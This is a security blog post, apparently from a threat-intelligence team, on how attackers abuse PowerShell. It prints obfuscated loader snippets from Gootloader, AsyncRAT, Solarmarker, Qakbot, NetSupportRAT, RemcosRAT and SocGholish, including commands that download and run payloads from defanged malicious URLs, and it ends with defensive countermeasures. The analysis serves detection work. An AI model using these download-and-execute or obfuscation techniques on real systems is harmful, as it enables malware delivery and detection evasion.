Examining MITRE techniques in malicious incidents: part 2

| By:
Diara Dankert

As outlined in part 1 of our multi-part series “Examining MITRE techniques in malicious incidents,” the MITRE ATT&CK Framework has become a critical tool for cybersecurity practitioners. The framework is a standardized yet versatile means for organizations to understand, classify, and mitigate existing and emerging cyberthreats. It enables defenders to be more proactive in their approach to cybersecurity, allowing them to anticipate, adapt to, and counter the evolving tactics and techniques used by threat actors.

In this installment, we will be turning our focus to PowerShell. PowerShell is a widely used legitimate tool, but it is frequently employed by threat actors for its scripting capabilities to execute unauthorized commands, evade detection, and compromise target systems. In this article, we will be looking at some real-world examples of how this scripting language can be used for malicious purposes, as well as discussing some potential steps that can be taken to detect and mitigate these threats. 

T1059.001 Command and Scripting Interpreter: PowerShell (Tactic: Execution)

PowerShell overview

PowerShell is a powerful and versatile automation and scripting framework that is native to the Windows environment and developed by Microsoft. Primarily, it is used to automate administrative tasks, configure and manage Windows operating systems, and perform a range of system-related functions. PowerShell’s integration with Windows systems also makes it a valuable tool for threat actors. Adversaries can employ its scripting capabilities to run malicious code, download and execute malware, establish persistence on compromised systems, and enable lateral movement in a network. It is also a primary choice to execute stealthy “living off the land” attacks as it can operate directly in memory and avoid writing files to disk.

With the vast number of ways that PowerShell can be used for malicious purposes, it is not surprising that it continues to be reported at the top of the list of the most frequently observed techniques. We will focus on two of the ways that threat actors manipulate PowerShell to achieve their goals. First, we will explore how obfuscation techniques (T1027: Obfuscated Files or Information) are used to attempt to disguise malicious PowerShell execution, and then we will follow up with a review of the various ways that threat actors are able to use PowerShell to download remote payloads (T1105: Ingress Tool Transfer) onto the victim’s machine. 

Observed PowerShell - obfuscation

PowerShell has a permissive syntax that allows for different ways of writing code, which can include non-standard expressions. This allows for the use of cmdlet aliases, such as “IEX” for “Invoke-Expression”, string manipulation, and encoding commands in Base64, among many other tactics. Because of these attributes, it is trivial for threat actors to complexly obfuscate their harmful code in PowerShell commands and scripts to evade detection and hinder analysis.


One malware observed heavily using PowerShell obfuscation is Gootloader, a stealthy initial stage downloader that uses various evasion techniques to remain undetected. In the following example, several obfuscation methods were observed, including encoding, concatenation, and unusual function names. The initial PowerShell command executed on the victim’s machine was run from a hidden window by using shortened, single-letter command flags and Base64 encoding to create a 1400-character string. Once the command is decoded, even more obfuscation is present.

sleep -s 66;
$hxmcc=Get-ItemProperty -path("hk"+"cu:\sof"+"tw"+"are\mic"+"ros"+"oft\Phone\"+[Environment]::("use"+"rn"+"ame")+"0");
for ($yzp=0;$yzp -le 665;$yzp++){Try{$hxm+=$hxmcc.$yzp}Catch{}};
if($ko -eq 1000){break}}$hxmccjr=$hxm.replace("#",$ko);
$yzp -lt $hxmccjr.Length;$yzp+=2){$gh[$yzp/2]=[convert]::("ToB"+"yte")($hxmccjr.Substring($yzp,2),(2*8))}[reflection.assembly]::("Lo"+"ad")($gh);

Figure 1: Base64 decoded PowerShell command

The command above uses a few different obfuscation techniques. One of the first things to stand out is the heavy use of concatenation using the “+” operator, which is the basic method PowerShell uses to join two strings together. The threat actor also makes use of seemingly random variable names to make the script less readable and more difficult to understand. In addition, the script includes a number of math operations and uses the replace() method to exchange two strings. Towards the end of the code, we can see the use of “reflection.assembly” which indicates that the threat actor is reflectively loading a .NET payload into memory, another way to conceal malicious code (T1620 Reflective Code Loading). Less obvious is the inclusion of two large integers at the beginning and end of the script, which could just be extra data added in to distract, as well as a sleep function at the beginning, which may create a pause in execution to evade detection.

Loader for AsyncRAT

Another observed example using PowerShell obfuscation is a loader for AsyncRAT malware, a remote access trojan that is used primarily as a credential stealer.

\\[REDACTED]\Install\Restore.bat.exe -noprofile -w hidden -ep bypass -c 
function VGHtU($RGFIj){$ZtqaO = New-Object System.Security.Cryptography.AesManaged;
$ZtqaO.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$ZtqaO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$ZtqaO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kQCCWEpNqMItSsyHjs2lYTdU2v1OFCxHztxFIuY7LAw=')
;$ZtqaO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('M1GvHOCTC4fYx4sxVOGE0w==');
$vKNWW = $ZtqaO.CreateDecryptor();
$return_var = $vKNWW.TransformFinalBlock($RGFIj, 0, $RGFIj.Length);
function mnhsy($RGFIj){$arcPW = New-Object System.IO.MemoryStream(, $RGFIj);
$ftAHo = New-Object System.IO.MemoryStream;
$HFKWx = New-Object System.IO.Compression.GZipStream($arcPW, [IO.Compression.CompressionMode]::Decompress);
}function lOLCd($RGFIj, $BECMt){$WAmvf = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$RGFIj);
$reVaU = $WAmvf.EntryPoint;
$reVaU.Invoke($null, $BECMt);
}$rGqpr = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
foreach ($HZwKi in $rGqpr) { if ($HZwKi.StartsWith(':: ')) { $BFrDS = $HZwKi.Substring(3); 
$sATgz = $BFrDS.Split('\');
$vrnap = mnhsy (VGHtU ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sATgz[0])));
$DgVEG = mnhsy (VGHtU ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($sATgz[1])));
lOLCd $DgVEG $null;
lOLCd $vrnap (, [string[]] (''));

Figure 2: Obfuscated PowerShell code

While this code is confusing to look at, what might first jump out is that it does not appear to be using PowerShell, but rather running another executable, which interestingly has a double file extension (T1036.007 Double File Extension). The PowerShell utility was copied to a non-standard directory and renamed (T1036.003 Rename System Utilities). Threat actors may rename system utilities to try to get around cybersecurity mechanisms such as antivirus software and SIEM detection rules that rely on combining process names with malicious commands. 

Like the Gootloader sample, this malicious code also heavily uses random function names and variables throughout. We also see that the code is performing AES decryption (T1573.001 Symmetric Cryptography). Further along, we can see another example of obfuscation via string manipulation and indexing within the variables used in the AES encryption algorithm. The code also decodes elements from Base64 by calling the “FromBase64String” instruction backwards using a range to read the command in reverse.

The next function creates and uses several objects to input and manipulate data, effectively decompressing the input data and returning it as a byte array. While decompression in a PowerShell script does not automatically indicate malicious intent, this technique can add complexity, make it less readable, and potentially conceal the payload. The last function goes through another convoluted series of instructions to load an assembly from a file, extract and process specific parts of the file content, decrypt and decompress the extracted data, and then run the decrypted content as code using reflection. 


To wrap up our exploration of some of the various obfuscation techniques used with Powershell, we will look at an example of Solarmarker malware. Also tracked as Mar-Deimos, Jupyter Infostealer, and Yellow Cockatoo, Solarmarker is a backdoor that uses a multi-stage PowerShell loader that employs a variety of obfuscation techniques including encoding, encryption, and concatenation.

PowerShell.exe -WiNDowSTYLE hIDdEN -Ep BypasS -comMAnd $af3f273ed1f4cd87f9165b5d42d4a='QHs2STlAVjFWdEB7RjBDXlBZdjNeMDk9a0BWdjUhXjBTTXpeUjFld15SQnktQFV5K0xAVUU0dl5RNClnQFVWfW1AUnBJakByOTxoQFVlIWVeUDlWbl5SSz9WXjA9YjFAc15VM0BWdHpzQGBJeTxAVWZNSF4wOUBJQH5mdTReUVdfZw==';
$abde8df70a04bd8d514834cb04f84 -LT $a8367f6758e452ab88e8b05e509d0.Count;
) {fOR($af830e4b4d848cac8f7385c29d350=0; 
$af830e4b4d848cac8f7385c29d350 -lt $af3f273ed1f4cd87f9165b5d42d4a.lEnGth; $af830e4b4d848cac8f7385c29d350++){$a8367f6758e452ab88e8b05e509d0[$abde8df70a04bd8d514834cb04f84]=$a8367f6758e452ab88e8b05e509d0[$abde8df70a04bd8d514834cb04f84] -BXOR $af3f273ed1f4cd87f9165b5d42d4a[$af830e4b4d848cac8f7385c29d350];
IF($abde8df70a04bd8d514834cb04f84 -gE $a8367f6758e452ab88e8b05e509d0.COuNT) {$af830e4b4d848cac8f7385c29d350=$af3f273ed1f4cd87f9165b5d42d4a.Length}}};

Figure 3: Obfuscated Solarmarker PowerShell code

In the sample, we see some of the same techniques used. The code uses very long alphanumeric strings for variable names which are difficult to read and track throughout the script. It also appears to use a Base64 encoded string to assign to the variable, performs several looping functions, and uses reflection assembly to load and execute a script. 

However, we do also see some additional techniques. The threat actor uses a letter-case randomization technique to try to disguise the commands and avoid detection. If any existing detections are case-sensitive and have not been written to account for these types of variations, the code could remain under the radar. Also notable is the use of a bitwise XOR (exclusive or) operation to transform data between two arrays of bytes in the script. 

Finally, we see a variable that reads from the content of a file with a seemingly random extension type. While threat actors may disguise malware with benign file extensions like “.txt” or “.jpg” (T1036.008 Masquerade File Type), they can also easily create random file names, extensions, and subdirectories with the use of PowerShell or Python. By using a random extension, a threat actor may hope to evade cybersecurity software that relies on known file signatures or to make the malware harder to block. The use of custom payload names can help reduce the reuse of malware as it makes signature tracking nearly impossible. 

Observed PowerShell - download remote payloads

After an adversary gains initial access to a victim’s machine, it is often necessary to bring in additional malicious payloads from remote locations to progress their attack. We will take a look at several of the methods using PowerShell that are seen frequently during actual malicious attacks. 

Invoke-WebRequest cmdlet

The Invoke-WebRequest cmdlet is built into the “Microsoft.PowerShell.Utility” module and offers a way to access web content directly from within PowerShell scripts and commands. It can be used to download files from the internet, scrape data from web pages, automate data retrieval, and integrate with APIs. It can be invoked using the shortened aliases of “iwr,” “wget,” or “curl.”

The cmdlet sends HTTP requests and handles their responses, which will include items like the response headers, status codes, and content of the resource parsed into an object. Invoke-WebRequest is used by threat actors to download payloads for further stages of their attack and exfiltrate data.

At the most basic level, the command to download a file should look something like the following: 

Invoke-WebRequest -Uri ‘https://domain.com/file.exe’ -Outfile 

Figure 4: Basic usage of Invoke-WebRequest cmdlet

But, as we learned by examining the use of obfuscation, we can assume that such a command will rarely appear so straightforward. In one example of a Qakbot attack, after decoding from a lengthy Base64 string, the following command was observed: 

Start-Sleep -Seconds 3;
$volcanite = ("hxxps[:]//vidasdesplazadas[.]org/9F0BIAF/Wp582,hxxps[:]//deoragroup[.]com/UDiL20/p7Ck2m6,hxxps[:]//shayanefaizconst[.]com/Rzb/RpbCX,hxxps[:]//bluejaytraders[.]com/OpuZy1q/gIRkiPFSiou,hxxps[:]//medimarketing[.]com.br/jI5b/Pmpl7JkxD,hxxps[:]//coiffurepacitto[.]com/XOXKa/hBNrj1c").split(",");
foreach ($spheroconic in $volcanite) 
{try {Invoke-WebRequest $spheroconic -TimeoutSec 18 -O 
if ((Get-Item $env:TEMP\christianize.dll).length -ge 100000) 
{start rundll32 $env:TEMP\\christianize.dll,GL70; 
}}catch {Start-Sleep -Seconds 3;}}

Figure 5: Qakbot use of Invoke-WebRequest

Here, the threat actor has placed the URLs in an array and then creates a looping function that iterates through each URL, sending a web request to it and saving the downloaded content to a file. Also of note here is the shortened use of “-Outfile.” Once the DLL file reaches a certain size, rundll32 attempts to execute it. While the decoded command above appears to have several obvious red flags including the use of unusual URLs with random character directory names, non-sensical variable names, and confusing functions, it may not be as obvious once Base64-encoded. It is important to keep in mind that malicious PowerShell may be hidden within several layers of obfuscation.

In another example of the use of Invoke-WebRequest, a PowerShell script is injected into a native Windows script to achieve the desired result (T1216: System Script Proxy Execution).

\\localhost\C$\Windows\System32\SyncAppvPublishingServer.vbs, n;, 
Invoke-WebRequest, hxxps[:]//rebrand[.]ly/spf5wcc, -O, 
Invoke-WebRequest, hxxps[:]//rebrand[.]ly/uvhzh3f, -O, 

Figure 6: LOLBin SyncAppvPublishingServer.vbs used to Invoke-WebRequest

SyncAppvPublishingServer.vbs, a native Windows Visual Basic Script (VBS), is used to invoke PowerShell to execute arbitrary commands. Here, Invoke-WebRequest is used to download two files from shortened URLs. It is important to note that a script like SyncAppvPublishingServer.vbs performing a download is not intended usage and should be considered very suspicious. Additionally, the use of lesser-known URL-shortening services to conceal the true destination of the web request should help in identifying malicious intent. 

Invoke-RestMethod cmdlet

The Invoke-RestMethod cmdlet (alias “irm”) is another tool built into the Microsoft.PowerShell.Utility module that is capable of downloading files, making RESTful API calls, and interacting with web services. It is generally used to send HTTP or HTTPS requests to a web server to retrieve data. However, when it comes to downloading files from the internet, the two cmdlets work similarly. 

The most basic usage of Invoke-RestMethod looks exactly like the Invoke-WebRequest cmdlet:

Invoke-RestMethod -Uri ‘https://domain.com/file.exe’ -OutFile 

Figure 7: Basic usage of Invoke-RestMethod cmdlet

Below is an example of the use of Invoke-RestMethod that was observed in a NetSupportRAT incident similar to other documented samples:

powershell @(8290,8297,8290,8295,8287,8296,8231,8290,8296,8232,8290,8297)|
$i = Invoke-RestMethod -Uri $vidgun;
new-alias ergu cu$fgmqel; 
.$([char](92376-92271)+’ex’)(ergu -useb $vetdjf$i<>$g)

Figure 8: NetSupportRAT using Invoke-RestMethod for download

The code is again heavily obfuscated and begins with two arrays of numbers. These are used in calculations to decode characters using the CHAR function and then concatenate them to create pieces of URLs stored in variables. Invoke-RestMethod is used to create an HTTP request to URLs stored in the variable. Then a new alias is introduced to represent “curl,” the alias for Invoke-WebRequest, by concatenating letters and a variable together. 

The code then proceeds with another character calculation, conversion, and concatenation to produce “iex,” or Invoke-Expression, followed by a web request that uses more obfuscation. Ultimately, the code downloads the NetSupportRAT, a highly suspicious-looking URL.

In this example, both Invoke-RestMethod and curl are used to make separate HTTP requests. There is heavy usage of hard-to-track variables and loop functions, as well as the use of character conversion to hide URLs. While a threat actor may use Invoke-RestMethod in a standardized way to download information, it will likely be used in a more complex manner, like what we see happening here. 

Start-BitsTransfer cmdlet

The Background Intelligent Transfer Service, or BITS, is built into the Windows operating system as a utility to manage file transfers between a client and a remote server. It is especially useful for large downloads and updates as it can help do these in the background to avoid disruption to the user. It is also designed to have the ability to prioritize more critical transfers, throttle transfers when bandwidth usage is overly excessive, and perform transfers asynchronously. BITS can be used directly from the command line but includes PowerShell cmdlets to perform tasks as well. 

The Start-BitsTransfer cmdlet allows the user to create a BITS transfer job (T1197 BITS Jobs) to move files between a client and server and can even handle the download of multiple files at a time. The simplest way to use Start-BitsTransfer to download a file looks like the following:

Start-BitsTransfer -Source ‘https://domain.com/file.exe’ -Destination 
‘C:\Path\To\Download\file.exe’ -TransferType Download

Figure 9: Basic Start-BitsTransfer command to download a file

Here we can see that the “Source,” or where the file will be downloaded from, is listed first, and the destination parameter, or where the file will be sent after transfer, is second. However, because downloads are the default transfer type and the cmdlet assumes the first parameter is the source and the second parameter is the destination even when not specified, the source, destination, and transfer type flags are not necessary for the command to function the same way.

Downloading multiple files using Start-BitsTransfer can be done in a couple of ways, but the easiest is similar to downloading a single file, as shown above. Multiple sources and destinations can be specified after the cmdlet is invoked.

Below is a sample of malicious RemcosRAT code documented by @executemalware.

powershell -w hi sleep -Se 31;Start-BitsTransfer 
-Source hxx`p://greenpayindia[.]com/wp-conternt/ConsoleApp18[.]e`xe -Destination 

Figure 10: RemcosRAT use of Start-BitsTransfer

The code begins by launching a PowerShell process with truncated parameters to run it without a visible window (T1564.003 Hidden Window). A sleep function pauses the execution of the script in what may be an attempt to avoid detection (T1497.003 Time Based Evasion). The Start-BitsTransfer cmdlet is called to download an executable and save it to the victim’s machine. The threat actor also tries to obfuscate the URL and file path with backticks to avoid direct recognition. Other malware observed using similar techniques include Colibri Loader, APT41, and Bazarloader.

WebClient .NET class

The final download method we will look at involves the .NET framework, which PowerShell is built on, enabling it to use .NET classes and methods in its scripts such as System.Net.WebClient, which allows for the interaction with web resources. It provides an easy way to perform HTTP operations, such as downloading and uploading data, from within a PowerShell script. These .NET classes work a little differently than the cmdlets we’ve looked at so far. A basic download with file execution may look something like this:

(New-Object System.Net.WebClient).DownloadFile(‘https://domain.com/file.exe’, 
‘C:\Path\To\Download\file.exe’); Start-Process(‘C:\Path\To\Download\file.exe’);

Figure 11: Basic structure of System.Net.WebClient file download

After initializing an instance of the WebClient class, a method is called, which here is “DownloadFile.” However other methods like “DownloadString” or “DownloadData” could also be used to retrieve payloads. The “Start-Process” cmdlet executes the payload after it has been downloaded. Execution of the file can also be performed via “IEX”, “Invoke-Expression”, “Invoke-Item”, or just “&.” 

The WebClient class can also perform downloads without saving a file to disk. Downloaded scripts can be directly executed using “IEX” and binaries can be loaded into memory using the reflection method. To do this, PowerShell’s execution policy, a default cybersecurity feature restricting script execution, would need to be bypassed.

The following is a sample of Solarmarker malware code:

(New-Object System.Net.WebClient).DownloadFile
Start-Process $p;

Figure 12: Solarmarker using System.Net.WebClient DownloadFile

The download of an executable is initiated from what appears to be a legitimate software site and is saved to the local machine, then executed. The adversary then proceeds to use highly obfuscated code to write suspicious LNK files to the Startup folder and make outbound network connections to known Solarmarker command and control (C2) servers. The initial download and execution observed may have served as a decoy for the following PowerShell activity to help disguise the malicious intent.

In another example, we have more obfuscated SocGholish malware downloading a ZIP file from a remote location:

$zOEMvmldnKnhKCNsCov=(New-Object System.Net.WebClient).DownloadString($KThAdTxKYGTMHgaWo); $CfDoFILxDIBzslQ=[System.Convert]::FromBase64String($zOEMvmldnKnhKCNsCov);
$zxc = Get-Random -Minimum -10000 -Maximum 10000; 
if (!(Test-Path $sCwuIreiBNl -PathType Container)) { 
New-Item -Path $sCwuIreiBNl -ItemType Directory };
$p=Join-Path $sCwuIreiBNl 'p.zip';
try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory ($p,$sCwuIreiBNl)} 
catch { Write-Host 'Failed: ' + $_; exit};
$e=Join-Path $sCwuIreiBNl 'client32.exe';
if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} 
else { Write-Host 'No exe.'};
$FOLD=Get-Item $sCwuIreiBNl -Force; 
New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

Figure 13: SocGholish using System.Net.WebClient DownloadString

The code assigns a random variable name to the source URL and then calls it with the “DownloadString” method. The downloaded data is stored and subsequently decoded from Base64 into a ZIP file, which is then extracted.

While the WebClient class is the most frequently observed .NET class used with PowerShell to download payloads, it is not the only option. The HttpWebRequest class and the HTTPClient class have also been observed being used in malicious code to download payloads, albeit these examples are harder to come by. In one example of APT37, the use of HttpWebRequest was observed to create HTTP communications with a command-and-control server (C2). The GetResponse method was used to make a request to the specified source and returned a HttpWebResponse that contains the data requested, effectively obtaining a remote payload in a similar way to Invoke-WebRequest. 

Of note, the WebClient class and WebRequest (base class of HttpWebRequest) were both deprecated starting with .NET 6. They are still available for use, but Microsoft does not advise them for new development. The recommendation is the use of System.Net.Http.HttpClient which is the more modern and flexible way to interact with web services and HTTP-based resources. While we don’t have any illustrative examples to provide here of HttpClient class-based downloads, it is likely only a matter of time before threat actors begin incorporating it into their attacks and it becomes something to look out for. 

Potential Countermeasures

As threat actors continue to increase their usage of PowerShell in malicious attacks and find new ways to conceal their actions, organizations must take a multilayered approach to defend against this technique. Because PowerShell is now ubiquitous in most enterprise environments, it can be difficult to detect malicious instances, especially when commands are heavily obfuscated with ever-changing methods and files may not be written to disk. However, there are several options to consider when thinking about detection and mitigation efforts. 

  • Update: Keep systems and software, including PowerShell, updated to the latest versions and apply patches promptly to mitigate known vulnerabilities and benefit from enhanced cybersecurity features.
  • Monitor: Continuous monitoring of endpoints for unusual process executions and command-line arguments, as well as network monitoring for unexpected network connections, is crucial for quick detection of attacks. Consider using anomaly detection and behavior analysis solutions that can help surface file-less attacks as well. 
  • Log: Ensure robust logging of PowerShell events, including enabling script block logging to provide greater visibility into potential malicious activity.
  • Limit: Disabling PowerShell is not recommended, but consider restricting who has access and in what capacity with features such as constrained language mode and just enough administration (JEA), and by setting an appropriate execution policy. Allowlists or denylists of scripts and executables can also restrict what can run in your environment. 


The prevalence of PowerShell in cyberattacks highlights the importance of proactive defense strategies. As we explored in this article, threat actors use sophisticated obfuscation techniques alongside PowerShell’s native capabilities, which poses a significant challenge. Cybersecurity professionals can enhance detection and mitigation by delving into these tactics and maintaining a comprehensive approach to defense that is tailored to their organizations’ needs. By staying informed of new trends, implementing best practices, and continually adapting to the ever-changing threat landscape, defenders can successfully strengthen the cybersecurity posture of their networks.